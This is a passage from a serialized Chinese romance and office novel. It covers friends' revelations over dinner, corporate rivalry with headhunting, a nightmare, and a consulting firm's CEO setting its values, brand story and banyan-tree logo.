我知道,你此时的委屈难过都是真实的,我们无需将这些情绪掩藏起来,而是借用强烈的情感,与这些有过凄惨经历的伟人产生同频共鸣,深度共情他们当时的心境,他们当时的做法和选择,就是此时你应该参考学习的做法和选择。 我今天把手头的事情处理完,明天请假去陪你。世界上没有度不过去的坎,我们一起面对。” 女友破涕为笑,“听了你这番话,我好多了。刚才只是一时悲观,现在没事了。你工作忙,也是公司最需要你的时候,你不必为了我这点事跑过来。” “这位女战神这么快便能满血回归,又如此善解人意,让人好生仰慕。我必须马上去她身边与她并肩作战,好让她嫁给我。”木信插科打诨,结束了这场沉重的谈话。 姗姗笑出了声,“好,那我等你。” 第九十章 木信被猎头挖角 木信刚挂了电话,便有人发群信息说马上开会。 便匆匆参会去了。 会议结束后,便将会议内容简洁的以三条要义汇报给尚云,末了他跟尚云说了姗姗的事,请两天假去陪她处理事情。 尚云站起来,走过去把手搭在他肩上,温和道:“没问题。等忙过这一阵,我给你放个长假,能相爱不容易,不要因为工作忽略了彼此!” “我们……”木信脸颊竟现出一抹红晕:“我们这样就挺好了。若不是你在幕后为我俩做了那么多,我们很难坚持到现在。” 尚云对于离姗姗公司附近的项目,都让木信去接手,好让二人有见面机会。普世文化在节假日通常也会以公司的名义,对员工家属予以慰问和关怀、寄送礼品。 尚云特地嘱咐行政总务部,把姗姗列为木信家属。被公司当成家属,对姗姗来说意义非凡,加深了二人之间的情感和归属感。这一点,让木信很感动。 “我已经决定了,你就别再推辞。好了,去忙吧。” 木信感激一笑,点头答应了。 临近下班时,木信就接到一个陌生电话。约他在咖啡厅见面。 木信大致猜出对方的用意,便拒绝了。没想到对方换了手机号又打过来,“木信先生,事关你女朋友未来的发展前景,你真的不出来喝杯咖啡吗?” “什么意思?” “我将地址发在你手机里,你赴约自然就知道了。晚上七点半,我等你。”说完主动挂断电话。 木信望着被挂断的手机说不出话来,一会,一条短信提示出现在屏幕上。不用点开他也知道,是那人发的地址。 看来姗姗遭遇的事,十有八九是有人故意为之。 他犹豫着要不要把事情反应给尚云,但一想到他最近也是心事重重便作罢,最后决定先赴约再见机行事。 他不知道,在他赴约之后即登上姗姗所在城市的飞机时,他与人在咖啡厅洽谈的照片便已落到了尚云手上。 寄照片的人没有留地址,甚至连个姓名和电话都是假的。 尚云嘴角紧抿,眼底却出现一抹嘲讽。当真以为他是傻子,既然如此,不如将计就计。 他给木信发一个短信,“木信,配合演一出戏。秘密招聘2名总裁助理。” 木信收到信息,先是一愣,想起前前后后的事,明白一切,而后哑然失笑:“好。” 不禁感叹,能得一人宠,不如一人懂。尚云信任如斯,夫复何求。 果然,人资部连夜秘密招聘2名总裁助理,所谓秘密招聘,是招聘职位并未出现在普世文化的自家招聘网页上,而是找了最知名的猎头广撒网紧急寻觅人才。 紧密关注普世文化动向的目光,这才露出得意之色。“传说中胜似歃血为盟的盟友,也不过如此嘛。” 箫小竺很快也收到了信息,轻轻一笑,“很好,我也该出动了。” 她划拉几下,找到熟悉的名字,拨过去。 九月下午就蜷在沙发里睡着了,直到被电话吵醒。挪开头上的抱枕,脑袋有些发懵。眼睛适应了漆黑环境,良久才想清楚自己在哪。 她接过电话,听到久违的声音有些恍惚,她清了清嗓子,声音还是有些干涩:“小竺。” “九月,宝宁新开了一家顶好吃的餐厅,我带你去吃呀。”小竺似乎又像以前一般,没心没肺的穷快活。 “好啊。”九月应道,她都快要忘记上次坐在一起吃饭喝酒是什么时候了。 “二十分钟你楼下见。”小竺撂下一句话就挂断电话。 九月摸索着去开了灯,用最快的速度洗了个澡,换了一套休闲秋装便出门了。 小竺的紫色奥迪停在楼下,她抽着电子烟披着一头大波浪,一身贴身的皮衣很衬她的肤色和身材。 “小竺,你做了头发,这身造型我差点没认出来。”九月笑道。 “好看吗?”小竺吐出一口清香烟雾,笑问。 九月由衷说道,“你穿什么都好看。” “哈哈。就图好看。”小竺调皮地眨眨右眼,打开车门钻进去,“上车。” “最近忙什么,感觉有很长时间没见面了。” “有吗,我可能真的太忙了。忙到没有时间概念。”小竺又笑,“九月,干脆你来帮我吧。以后天天见。” 九月扑哧一声笑,“你认真的吗?” “当然,只要你愿意,我就叫人发录用函给你。”小竺一副大姐大的架式,“我说了算,以后罩着你。” 以前小竺从没说过自家背景,现在突然就接手这么大的产业,她很好奇,就问,“你家公司做什么的?” “投资公司,各行各业都有涉猎。”小竺满不在乎道,“你是那种扔在墙上都能在墙头贫瘠薄泥里,扎根深作开出一朵花来的奇妙种子,在我们公司还怕无用武之地吗?” “你这夸人的方式我有点消受不起,可别高抬我。” “我这是实话呀,九月。你成天畏畏缩缩,都不知道自己是个宝。” 小竺开车向来就快,这说着话,车子已经拐进一条单线道。 这一片都是旧时古迹,算是一个不小的景点。这个点还有零星的游人在附近,灯光照映下,景点金碧辉煌,十足神秘色彩。 “在这里头新开的餐馆都让你给找到了。”九月打量着外面的景观树。“你这可不是吃货可以定义的了。” “哈哈,你说对了。我家新投的新知名连锁餐厅。这不有个景点嘛,引进来与景点互相串流,好吃不贵,宝宁市仅此一家。” 闻言,九月不禁暗暗叹服。 小竺叫来餐厅里的负责人,噼里啪啦连珠炮似的吩咐了一通,负责人点头哈腰将二位请进上好的包厢房。 一会,茶水点心就端上来了。 “小竺,一段时间未见,你举手投足可真大变样了。”九月感叹道。 “人都是逼熟的。我倒是想继续做个不谙世事的已婚少女,无奈现实所迫,责任摆在那儿总得去挑起来,容不得逃避。”小竺拿了一粒干梅细细噆了一口。 想到世事无常,九月感触最深,没想到小竺也会经历这些。她能感同深受个中滋味,安慰的话就显得太多余了,她一时无言。 “别光说我了,你跟莫诚怎么样了?”小竺将剩一半的干梅放下,取来纸巾,“我很久没见到他了,他看起来比我还忙。” 说起莫诚,九月眼睛亮了亮,“他确实工作繁忙。前些日子我们见过,后来他就出差一直到现在。” “怪不得,我打不通他电话,去过他公司,但他并不在公司。黑香水酒吧早就托专人管理,不用他插手。”小竺若有所思,指尖绕着水杯转了一圈又一圈。 “他过去二十多年,有一半的岁月都在国外度过的,事业起点也跟国外的资源有关,所以出差走动有利于公司发展。再说隔着时差,与其深夜只言片语,倒不如亲自过去效率高一些。”九月试图帮莫诚开脱,担心小竺对他误解更深。 小竺当然听出了弦外之音,低头笑了。 “你笑什么?” “你能这样,我打心眼里高兴。”小竺不加掩饰地说,“莫诚需要你这样温暖的女子在他生命里。应该是说,我们这个家,有你的存在才不会真正散掉。” 九月羞赧得忍不住伸手就要捂住她的嘴,小竺握住她的手,正色说道,“九月,你想不想听,莫诚和你的故事?” 第九十一章 一封来信 九月着了魔一般,点点头。 “还有我不知道的跟自己有关的事,你说来听听。” 这时,侍者将菜端了上来摆了一桌子,开了一瓶酒,给二位各斟了一杯酒,才退出包厢。 “我们的相识相知,不是偶然。而是因为莫诚。”小竺开门见山说道。 这些九月已经听莫诚讲过了,因此并不觉得惊讶。但小竺能坦诚说出来,还是令她有些吃惊。 “你年少的遭遇是莫诚在教堂获知,噢,准确来说是教堂里别人落下的一份报纸上得知。从此他坐立不安,也许是缘份吧,他就真的去了你的家乡,安源镇。 我现在还记得他从安源镇回来后的样子,下着大雨,他衣服破烂,全身湿透了。膝盖上、胳膊上、额头脸上到处都是伤,雨水和血液混流在一起,衣服裤子都沾了血渍。 我问他发生什么事了,他也闭口不谈。只告诉我说,他见到了你,见到了你家被封掉的房子。他想帮帮你。” 小竺举起酒杯就往嘴里送,一口饮尽,“但那时我母亲在外国已经给他打点好学校,要尽快过去。他一向跟母亲感情深厚,但那次却忤逆了母亲,说什么也要留在国内。 后来,我母亲从国外专程回来接他,逼问到半夜,他才跟母亲说了实话。 当时我母亲跟他说,要想帮这个女孩,你自己先得有实力,你的实力来自于现在你学业上的成就,来自你事业有成,而不是突然天降神灵赐给你的。 他反驳说,我要帮她也在于现在每一天,若是等到我有实力了再去帮她,她孤零零一个人无依无靠,只怕早就被现实生吞活剥了。 母亲沉默了很久,后半夜做了决定,将你的事委托给我,她会亲自过问。他才诸多不情愿的跟母亲走了。” 九月低着头安静地听小竺讲话,眼泪在眼眶里打转,表情却很平静。 小竺看着对面墙上,那上面挂着一幅抽象画,她的黑眸却没有聚焦,“我找了很久,才终于找到你。那时你在饭馆里刷碗,我跟老板说,每月多给你1000元工资,这笔钱我来出。老板以为我开玩笑,我把四千块钱放在他手上,跟老板说先预付三个月。另外一千块钱是封口费,让老板什么都别说,对你和言悦色就行。” “我一直感念饭馆老板的好。直到今天,才知道该感恩的对象不是他,而是你。”九月笑着笑着,就泪流满面。 小竺抽了纸巾替她擦掉眼泪,九月顺势抱住她:“小竺,你是老天派来拯救我的吗?” 小竺摇摇头,“你明知道,若论老天给你派来的救星,理应是莫诚,而不是我。” “我对你的好,源自我们的相处中,不明真相的你回报我温暖,真诚,甚至以命相搏,我才慢慢由执行任务的冰冷工具,变为一个同样具有温度的人。” 九月松开她,并不认可她的话:“你这么说自己不公平,当初是谁为了救下生无可恋的我,不惜跳进冰冷的琴河?要知道你根本不会泅水。如果不是有人施救,我们就是同年同月同日死的姐妹了。放眼这世界,再也找不到像你一样为了我连命都不要的人了。也是在那时,我才决定活下来,我这条命是你给的。” 小竺笑了,她一直没有向九月解释,当初她在琴河边,是被众多围观者挤到边上一脚踏空栽下去的。 她紧紧握着九月的手,说道:“幸亏你活着。否则,你都不知道莫诚有多爱你,他曾经跟我父亲说,他可以为你去死,如果你有个三长两短,他也不会苟活于世,立即去公路上撞车。” 也是因为一句话,箫章送进医院再也没回来过。这句话虽没说出来,但此时回想起这些,小竺红了眼眶,脸上的笑容不达眼底。 九月惊愕得说不出话来,看似随性的莫诚还有如此血性的一面。 小竺顿了顿,声音有些飘渺:“莫诚看似大大咧咧,实则他非常细腻。是一个有些内敛不善于表达内心情感的人。 心中有十分爱,表现出来的只有三分。就算爱你到骨子里,只要你不愿意,他一定不会强你所难,装作很随缘的样子。 你若跟莫诚在一起,不敢说就一定大富大贵,但一定会是世界上最幸福的女人。” 不知是因为想起以往跟莫诚在一起的点点滴滴让她感动,还是小竺这番话让她动容,九月眼泪悬在眼眶上,鬼使神差地就说,“难道他没告诉你吗?我们已经在一起了。我公司的人都知道。” 这回轮到小竺目瞪口呆,好半天才反应过来,“你是说,你们在一起了?” 看到九月确认性的点头。 小竺一下子炸了,“你们两个竟然敢让我最后一个知道,真的太过分了。害我白说了这么多煽情的话。” “没有白说,我眼泪都快流干了。有些事如果你不说,这辈子我都不会知道你们为我付出了这么多。”九月见状破涕为笑,“好啦,现在知道也不迟嘛。也不是故意瞒你,谁让你比天子还忙。” “怪不得你今天一进来就替莫诚开脱。一切都有迹可循的。” “才不是,我的心里只有你。多吃点,看你最近都累瘦了。”九月给她碗里布菜。 “你也吃,尝尝这些经典菜。这些都是我特意为你点的。” ...... 两人说说笑笑,这才开动了满桌佳肴。 那一夜,“红尘客”信箱收到一封来信。 “许久未联系,红尘客,你当今是否安好?我今晚听了一个感人故事,心有凄凄便想与你分享......突然觉悟到故事的价值不在于它的真假,在于听故事的人受到什么启发。 你一定想问,我到底受到了怎样的启发?世人多面,故事里的那一面也许更接近本性,尽管故事都有反转,每个转折里都埋着包袱,然而,这正是它的迷人之处。所以,我的启发不是分辨真假,恰恰是融入故事。祝好!” 九月放下手机,面上神色波澜不惊。目光不偏不倚落在桌前相框上,那张合影是小时候的全家福。爸妈站在后面,美丽的妈妈矜持的露出微笑,爸爸的头抵着妈妈额头,也是眉眼带笑。 小小的九月被奶奶抱在怀里,坐在最前面。不知道摄影师拿着什么玩具逗她,她笑得特别欢,一对虎牙露了出来很是可爱。奶奶的头发那时还很黑,梳得闪亮整齐,用一个旧式黑色发卡往后固定着发型。脸庞上的笑容,慈祥而温暖。 九月看着那幸福的画面,久久移不开视线。一切都似乎近在眼前,伸手却只能触碰到冰冷的相框玻璃。这个画面,只能出现在相片里。永远回不来了,再也回不来了。 第九十二章 唯有见你是青山 百籁俱寂,月华高升。 九月关了灯,躺在床上昏昏入睡时,一封来自“红尘客”的回信飘落到信箱。 “九儿姑娘,一切如故。收到你的来信倒有些惊喜,两句感想随赠。 整部宇宙史早已存在,就如一部制作精良的电视剧,尽管结局都早已制作出来,但我们犹如宇宙史里的红尘一粒子,随着宇宙的轨道惯性而运动,运动到哪一集,便只能看到哪一集的风景。 世人不知真相,难免洋洋自得,以为自己能力通天,实则可怜到自己当下的一言一行都无从改变,也无处逃避。所以,我倒是支持你的想法,尊重自己当下的行动,听故事便体会故事奥妙,融入故事情境,摸索说故事的人精心布置的情节脉络。将每一分钟都活出丰富立体的滋味,也不枉这短暂一生。祝好。” 白天,普世文化恢复它应有的活力。 何轩事宜已经水落石出,他所述基本属实,但其行为还是违反了公司文化,经高层讨论一致认为开除处理。 这件事对公司内部影响巨大,外界更是有克普公司暗中拱火,不断制造舆论散布一些不利普世立足树标的负面新闻。 “内部必须要开员工会议引起警觉,至于外部的流言无须担心,这件事远远没有结束。”当日尚云便要开全体员工大会。 木信请假了,便由九月暂时接替他的工作。安排相关部门布置会场,通知会议。 下午三点,公司全员在训练场的年会厅里整齐端坐。 此时,没有人上台主持会议,幕布上播放一段精心剪辑的视频,公司成立三年来的点点滴滴:成功签下的第一份合同,完成的第一项大项目,最初的小团队合心聚力度过艰难时光,公司加入的每一位新成员,年会上大家真挚宣誓,欢乐,公司全体徒步征服远途,一起做公益活动,一起为客户彻夜未眠的思考解决方案,研发部为了新产品直接铺上垫子住在工作室,醒了工作,困了倒头就睡...... 现场全体员工看到这一幕幕,眼眶湿润了,他们不知道这些画面是谁记录下来的,突然很感动,自己所有的付出,不经意的表现,无人处的努力,都有人看在眼里,默默记录在案。 突然画风停顿,一个身影走至台前。那是脱去西装换上戎装的总经理尚云。他拿着麦克风,神情严肃:“大家刚才看到屏幕上的点点滴滴,都是我和木信总助收集来的。这是普世文化从0到1的蜕变,公司能有今天,离不开在座的每一位将士的付出和努力。 你们从进入公司以来,都有一个好奇却不敢问的疑惑:公司为什么不以营利为最终目的,那为什么还要创办公司?我给大家讲一个故事,回答你们这个问题。 很多年前,有一个遭遇变故无家可归的少年,漂泊到一个小海岸,他实在走不动了。住在破船仓里,无家可归,无食裹腹。 他以往的富足生活与十多年的教养,让他生就一副傲骨和一腔尊严,宁愿饿到胃疼也不去翻垃圾筒。他以为自己的生命就这样要结束了,但就在绝望的时候,有个好心人将自己每月仅舍得吃一次的点心给了这位少年。那热气腾腾的点心让少年的生命得以延续。 后来,每次遇见这个好心人,总能给他带去食物和水。另外,他还记得在饿到难以忍受时,站在一家包子铺前看着包子咽口水,好心的老板娘给他两个大肉包。 在最黑暗无助的时候,是这些平常中我们看都不会多看一眼的小小善举,温暖了少年,改变了他的人生轨迹和一生志愿。 他到现在还记得在那段无助岁月中给过他帮助的所有人。他决定无论以后自己活成什么样,他都要尽自己所能回报社会,将更多的温暖和爱传递给更多的人。” 尚云说到这里,稍作停顿。台下静得连根针掉在地上都能听见,齐刷刷地将目光聚焦在他身上。 “没错,我就是那个少年。” 看到台下瞠目结舌的诸多表情,他微微一笑后冷肃起来,继续道:“我在普世文化创立之初,便有了一个使命:向世界传播正确的价值观,传递温暖和爱,只要这个世上还有阴暗冰冷的角落,我们的使命就还没有达成,普世文化要做百年企业,千年企业,世世代代子弟去完成这个夙愿。 我们扶持一些老企业,因为老企业曾经为社会作了很多贡献;扶持一些弱小企业,因为这些企业原本也有济世情怀。我们每年坚持做公益,不是为了作秀,不是为了得到回报。 勿以善小而不为,勿以恶小而为之。也许我们做的举手之劳和小小善举,会改变一个陌生人的一生。我们做的不良行为也会影响他人的一生。 因此,公司反对大家为了业绩不择手段,为了利益泯灭良知。应该用货真价实的服务帮到客户,以此赚取回报,打响口碑和品牌,将公司发展壮大。我们靠营利存活,但不以营利为最终目的,我们集结力量不仅仅为了自己,还有更长远的路要走。 在座的每一个人,从你们加入公司那天起,普世文化就将你看成有缘同路人,看成普世文化的将士,更是受普世文化庇护的孩子。公司有责任将你们培养成材,有责任将你们的人生和未来纳入公司计划之中。 请不要破坏这条轨道,不要在这条共同行走的道路上布下荆棘,不要受到诱惑跳出正在修筑的正确道路。 今天的会议内容,就是公司的声明,是普世文化的底线。请每位将士牢记在心!散会!” 这场会议无疑让所有参会人员无比震撼,以至于尚云说出散会后,会场毫无动静,尚云转身走下舞台,才传来爆雷般的掌声。 九月站在舞台一侧不显眼的角落,看着尚云如一位天神般,一步一步向自己走来,深深看她一眼,又一言不发的走了。 她心情复杂目送他远去,对尚云的感情不完全是恨,也不完全是爱,参杂了一些敬仰、钦佩和膜拜。这场会议后,他在她心里,已经是自己再也不敢亵渎的高大神灵般的男子。 我见众生皆草木,唯有见你是青山。 第九十三章 梦魇 何轩也参加了公司这场会议,他诚心诚意向团队和领导道歉,告别,并来到总经理室求见尚云。 尚云不计前嫌接见了他,他扑腾一声跪在尚云脚下,说什么也不肯起来,但尚云手上用了巧劲,将他扶起来。 何轩涕泪磅礡:“尚总,感谢你替我爷爷找来的专业医师,谢谢您替我爷爷全额付足的手术费和医药费,我无以为报,羞于面对你。那件事是我这辈子做过最最后悔的错事,我一辈子都将记得普世和您对我的教悔和恩情。” “知错是成长的第一步,我已经看到你的改变。但公司有公司的文化规定,为了长远发展,做出这个决定不得已而为之,就算是我自己犯下了错也一样,犯了错就必须要承担后果。回去吧,以后需要帮助,还是可以联系我。”尚云道。 “我明白的,我理解公司一切决定。”何轩带着感恩与落寞,离开了普世文化。 这是普世第一个也是唯一以这种形式离开的员工。 木信回公司后,将自己知道的事情告知尚云。 最后总结道:“先是中秋那晚故意让你看到莫诚与九月交好,离间你跟慕九月,再然后利用姗姗牵制我,打一巴掌给一个枣,派了猎头轮流来挖墙角,还把照片发给你,离间你和我。这是要折断你的左膀右臂。原以为他们劳民伤财要在咨询行业中做一番大事业,却没想到尽是这些上不了台面的作为。不足为虑。” 尚云对此事看法有独到见解,说道:“雷默集团目前人心不稳,箫小竺对经营是半桶水,林作杰明面上服从她,背地里也在打着自己的算盘。对她任何决策,无论好坏一律捧得老高,一方面又配合董事会元老们唱戏。 骨子里巴不得由她胡作非为造成难以挽回的损失,咎由下台。但是,箫小竺擅用心计,她在箫章的耳濡目染下,多少也有一些本事,所作所为看起来莽撞,仔细深究也有章法。不可不防。” 另一边,箫小竺和林作杰投资的克普公司虽然贵为管理咨询行业的龙头企业,却没料到企业文化的力量如此之大。 以至于小竺的计划还没实施完,普世公司的业务量已不断翻番,此时正悄悄发展第六梯队,并筹备上市事宜。看起来小竺的计划完全没有奏效。 普世文化也确实招了两名新总助。 九月去找尚云的时候,看到他正在服用药物,见她走过去,他快速将药品收进抽屉里。 “尚总。” “嗯。”他灌了一口水,吞咽下去。目光停留在九月脸上,那道掌痕已然消退。 “你还好吧?”九月问。 尚云静默半晌,“什么事?” “尚总,你是打算要将我调离岗位吗?”九月鼓起勇气道。 他似乎在思考九月说这番话的动机,“我什么时候说过给你调岗?” “公司招来新总助,看来是我曲解了。”九月知道尚云不想正面回答,便不想再说什么。“没什么事我先下去了。” “等等。”尚云走至她身边,“上次打你是我的错,向你道歉。今晚有时间一起吃个饭吗?” 九月仰着脸看着他,本想傲娇地拒绝,对上他的视线后就举手投降了。“好啊。” 还是在南月楼,尚云惯常带她吃饭的地方。 见她不再动筷子,尚云说,“吃这么少?” “嗯。今天不饿。”九月轻声道。她决心今天问出那个疑问,埋在心底里十几年的疑问。 “他叫莫诚?” 九月不知尚云忽然提起莫诚,惊诧地看着他。 “你了解他,或者他们吗?”尚云又说,语气不急不徐。 他们当然包括箫小竺。 她头脑中电光石火,想了一万种他问出这些话的可能,此时也只能静静答道:“当然。十二年前,若不是莫诚出现,我早已横死街头。” 他眉心紧了紧,垂目几秒,平静地说道,“一个人的出现必定有其原由,不要高估任何感情,也不要低估人心。” “你想说什么?我不明白。”九月直视他。 “你对我有很大的敌意,我说的话你也未必会相信。但是记住这一点不会害了你,对无缘无故的情谊保持戒备,对不明不白的友谊保持距离。”尚云拿餐巾擦了擦嘴。 “对你呢?”九月下巴微昂。 他的手微微一僵,很快如常,“也一样,这句话放之四海皆准,用作防身准没错。” 冷静的眼眸扫过她的脸,“走吧,我送你回去。” 随他走至车库,九月站在车身一侧发呆。尚云只好关上车门,走过去问道,“怎么了?” 九月沉着脸,胸部急剧起伏。如果摊牌,一切幻象都将毁灭。 最终,她将疑怒压了下去。“没什么,我刚想起一件事。” 说完钻进车里。 尚云静静看她一眼,没再说什么。将她送回公寓。 九月被心魔折磨得不轻,辗转反侧,半夜才迷迷糊糊睡着了。 她听到尚云说:“沟通是管理顾问最基本的素养,你若心里有话,完全可以说出来。” 她仿佛下了天大的决心,看着他一字一顿地问道,“你恨我父亲吗?” 他像是被她的话问懵了,神色露出不可思议,语气却冷静而平缓,“为什么这么问。” “你恨我父亲吗?”她语速正常地又重复一句。 “不恨,我尊敬慕爸爸。” “那为什么你会画这张画?”她手里不知哪来的一张发黄有些年头的画稿,一步步逼近。画稿似是揉皱了又铺平,重复了很多次,起了毛边,但上面的墨迹依然清晰,那是一张古人着装的肖像画,面庞及五官像极了慕爸爸。 他踉跄一步,脸色都变了。 九月不放过他任何神情,敏锐捕捉到他的面色变化。心中的猜测似乎被印证了,泪水一涌而出。脚下却步步紧逼:“为什么?为什么这么做?” 他下意识后退,“这不是慕爸爸。” “骗子!你当我眼瞎,连我父亲都认不出来了吗?”九月脸色阴沉得可怕。将画稿反过来,背面用红色浓墨重彩地涂了一个圆圈,画着一个大大的叉展示给他。“这个符号是什么意思?你说呀!” 他捉住九月的手腕,“九月,相信我,他不是慕爸爸。” 九月直直瞪着他,一把挥开他的手,“我亲眼听到你打电话说,是你害死了他们,是你!” “对,是我。都是我干的!”尚云突然露出狞笑,那张可怖的笑脸逼近时,她吓得失声尖叫...... 周围漆黑一片,枕边湿透了。 原来是梦。 她坐起身,在黑暗中看着窗帘失神,直到从帘缝透进来的灰蒙亮光,渐渐变成刺眼的白亮。 天亮了。 第九十四章 创作品牌故事 一夜的惊魂,九月显得有些倦怠。 木信过来看她一眼,“九月,今天气色这么差?” “昨晚没睡好。有事?”九月勉强一笑。 木信惊讶道:“果然没看到群消息。十点开会,你准备下。” “哦。好。”她打开手机,果然看到原本只有三人的群,今晨增加了关之洁和东维恺两个新总助。尚云发出消息,十点整,全体来我办公室开个会。 木信等三人都即时回复“收到”,九月也忙在后面回复“收到”。 会议分为两部分,前部分当然是欢迎两位新人的加入,关之洁是一位干练女性,严谨认真,一本正经,举手投足都是职场精英范。 而东维恺倒是有趣得多,言辞幽默,反应灵敏,似乎没有他不懂的事物。 不知为何,九月看到他总觉得眼熟,但怎么也想不起来在哪里见过他。 尚云坦言道,“木信这边以后全部精力用于公司整体运营,等东维恺上手之后,便正式发布任命通知。九月在攻克业务难题上具有一定天赋,公司秉着人尽其才的原则,发挥每位员工的个人所长,她以后专门协助我管理三大蓝鲸团队事宜。以后九月手头上的总助工作由关之洁接手。上手之后,与木信的任命通知同时发出。” 见四人点头,尚云又道,“另外,相信大家都有所耳闻,我们面临克普公司这样的强大对手。公司未来三年的目标是上市,目前正在塑造品牌文化,要想在强者手中谋生,必须剑走偏锋,足够专业只是基础要素,还要找到自己的立足点。强者所不具备的特点和弱势,就是我们必须攻克的地方,全力以赴磨尖、钻研,以此为突破口。而不是正面硬碰硬。” “明白。”木信应道。 其他人均点点头。 “话又说回来,在市场上我们的敌人是克普。但公司内部成长的障碍,只有我们自己。如果一个新产品、新服务出来三个月,还没有更好的方案去推翻、取代它,证明我们自己懈怠了。木信,我知道你的压力很大,但你有能力扛起来。我不会看错!” 木信重重吐出一口气,似乎千斤压顶:“我也相信。” “文菌昨天精心创作了普世的品牌故事,我发在群里,你们看一下。如果没有问题我们再召集所有高层一起讨论,广纳诤言,博采众长,将普世品牌故事尽早定下来,投放出去。”尚云将文菌发给他的文档转发到群里。 九月和木信一看便知道,这个故事是前天召开全体员工会议,尚云在台上所讲的自身经历和理念,只是将内容添加了些许艺术手法,将它塑造成一个感人故事。 一直没说话的关之洁第一个先看完,“故事很感人,但是这个故事会不会让品牌大打折扣?” “怎么说?” 关之洁正色道:“品牌定位应该是行业权威,既然我们的使命和价值观均有普世志向。但故事方向显然没有从宏观伟大的基调去策划,反而用了故事贬低了创始人。我对品牌所知有限,这仅是立足于公司志向而言的观点。” “故事没有贬低,那些都是事实。”尚云淡淡道,见关之洁张口结舌,转头看向东惟恺,“惟恺,你来说说。” 惟恺想了想,说道:“虽然是事实,见惯了如今的吹嘘捧举,过度包装,鲜少人会将这样的经历写出来。之洁说的不无道理,不过,故事创作人想表达以微见着,恰好想表现出一个接地气的企业创始人有不凡思想,故事具有神奇色彩和反转,表达我们的产品和服务乃至普世公司有化腐朽为神奇的能力。” 尚云略一思索,显然惟恺的观点不具建设性。遂将目光转到木信这边,想听听他的看法。 木信便一抒已见:“一般人听到故事的反应是什么?打发时间,谈资而已。之洁和惟恺会把故事联系品牌来作评判,因为你本身就站在不同的高度。但故事听众不会,他们大多数毫无品牌意识,只在意故事本身是否值得口耳相传。 听到故事很少会想那么深,更别提故事背后的理念和基调。品牌故事目的是传播,传播越广,越有机会让有能力剖析其中理念和基调的更多客户发现我们的品牌。故事冠上普世文化的名字,品牌自然而然就形成了。所以,它的第一功能是传播,其次才是内容上的意义。” “你呢?九月。”尚云听完木信的想法后,看向九月。 九月低垂着头,不知道在想什么。 木信胳膊撞撞她,她才如梦初醒一般抬头迎上众人的视线。尚云则不悦地撇开目光。 木信指指手机上的文档,九月便明白这是让她发表看法,迅速整理思路说道:“品牌故事的创作初衷,首先它是一个故事,为了让品牌有效传播,更容易深入人心。 古人几千年前的思想流传至今,一是靠传播,写的作品再完美,若是没有受众认可,没有人传播,就成了被深埋在地底下无人问津无人发掘有如矿产一样的作品。 但思想开创先河者往往在当代容易被埋没,等人们反应过来想要追捧时已经作古。作为一家公司不能像古人那样无欲无求,必须目标至上。所以,形而上的故事可能不会奏效,反而接近俗世生活,让万千普通人容易理解的故事更容易被接受。 第二是靠实践,故事中的普世创始人自身经历衍生出来的善良,是支撑他所有理念的基础。故事内容本身即是文化,普世公司本身的服务文化和行为模式,奠定了人们听到的故事具有真实性、实践性,也让更多人相信这份善意的真诚。 听故事的有心人,或者说潜在客户,知道这是普世公司的品牌故事,就一定会去我们的官网与媒体上了解我们的企业文化,核心理念以及服务产品。 全民传媒时代,拍成短视频更具象,实现以上所述并不难。” 尚云听她一席话,面露初霁,心中早有定见,但仍然想给高层机会参与公司重要决策:“倒是跟木信的观点相近。各位的看法各有千秋,但总体来讲,九月剖析更全面、更专业,她曾经是出色的品牌视觉设计师,也算是半个品牌领域人。九月的提议暂时保留,先听听高层们的意见,没问题再实施下去。如果没其他问题,大家先去忙。” 第九十五章 普世LOGO标志 经过高层会议零零碎碎的发言,拼凑的意见大致跟总经办内部会议结果一致。所以,品牌故事就按九月当初的建议为准。 尚云并不打算散会,又抛出公司的另一项待解决事项,“做事做全套,我们的品牌故事已经定下来,接下来就是品牌标志,这是我们自己的专长,在行业内我相信找不到比你们更专业的人了。” 蓝鲸团队首当其冲,说出构想。 甘队说,“logo标志就按天梯设计,一方面是不断进取向内成长,一方面代表凌云之志。” 厉队说,“那不如按金字塔的形状设计,因为金字塔是世界奇迹,也是稳固不毁的神话,何况我们的蓝鲸团队的六大梯队结构也是这个形状,内外呼应了。” 乔队说,“为什么都带有国外的元素,我们中华文华也挺好,普世文化就该用天地初始的标志,普罗大众。” 在坐高管纷纷问,“天地初始的标志是什么?” “盘古开辟天地吗?” “是太极两仪啊。并不是要用这个圆,我们的设计师可以稍作改观,不变内核,可以是方的可以是长形的,但两仪更易不变。” 尚云听了,笑道,“理应给大家时间静心思考,但我们时间有限,便在会议上速战速决为好。刚才蓝鲸三大团队的想法很大气,构思恢宏。若真正懂得《易经》的原理,就知道天地之间,强则易损,刚则易折。无论何人何物,强大到一定程度就是衰弱的开始,阴阳两仪互相转换就是这个道理。 要想恒远发展,必须谦卑,身处弱谷,柔弱不失韧性,身处困境不忘冲天之志。” 众人不语,自惭形秽。 尚云在安静氛围中,清晰而坚定的说出自己的想法:“普世文化的logo标志就设计成‘榕树’的形象。” 九月听到榕树,这时蓦地抬头,与尚云的目光撞在一起。 少年时,家门前的榕树下,有太多他们之间的回忆。但以她对尚云的了解,他显然不会如此儿女情长,用榕树作为品牌形象,一定有他的深意。 果然,尚云继续说道,“公司要吸纳并具备榕树几个特点,其一,繁衍能力非常强大,又极其低调。在一座山上种植一颗榕树,多年后就会发现,这棵榕树在不声不响中就覆盖了整座山。其二,所向披靡,无坚不摧,它的根系力量非常强悍,就算给树根上铺上水泥压上巨大砖块,它依然能拱土而出,让整个水泥砖块沦为废物。其三,它的枝叶根须非常发达,借由母根系的力量,发展出独立存活的子树系统,一旦子树扎根就能发展出自己的繁盛枝叶,哪怕砍断与母根系的联结,它依然有坚韧完整的生存能力。” 不待尚云说完,众人便已明白他的意思。 “这不正像是普世文化吗?蓝鲸团队的每一梯队都可以独立运营,独立核算,与总队联结,一方面汲取总队的养分,另一方面也输送反哺。” “我们的军事团队文化也能像它一样所向披靡,无坚不摧。” “对,至于繁衍能力,依我们的增长方式与速度,我们完全有信心覆盖全球。” 场面一下子热烈起来,群情鼎沸,支持道:“就用榕树吧,看到这个标志,就仿佛看到了普世清晰的未来。” “对,还能时刻提醒自己,我们的终极目标是什么样子。” 尚云也被众人感染,拍板道:“既然大家一致通过,那就用榕树形象作为普世logo标志。木信,让设计部抓紧设计,在公司上市前将品牌事宜全部落实。” “没问题。”木信容光焕发地答道。 散会后,木信接到姗姗的喜讯,她获得了法国时装设计师二等奖。 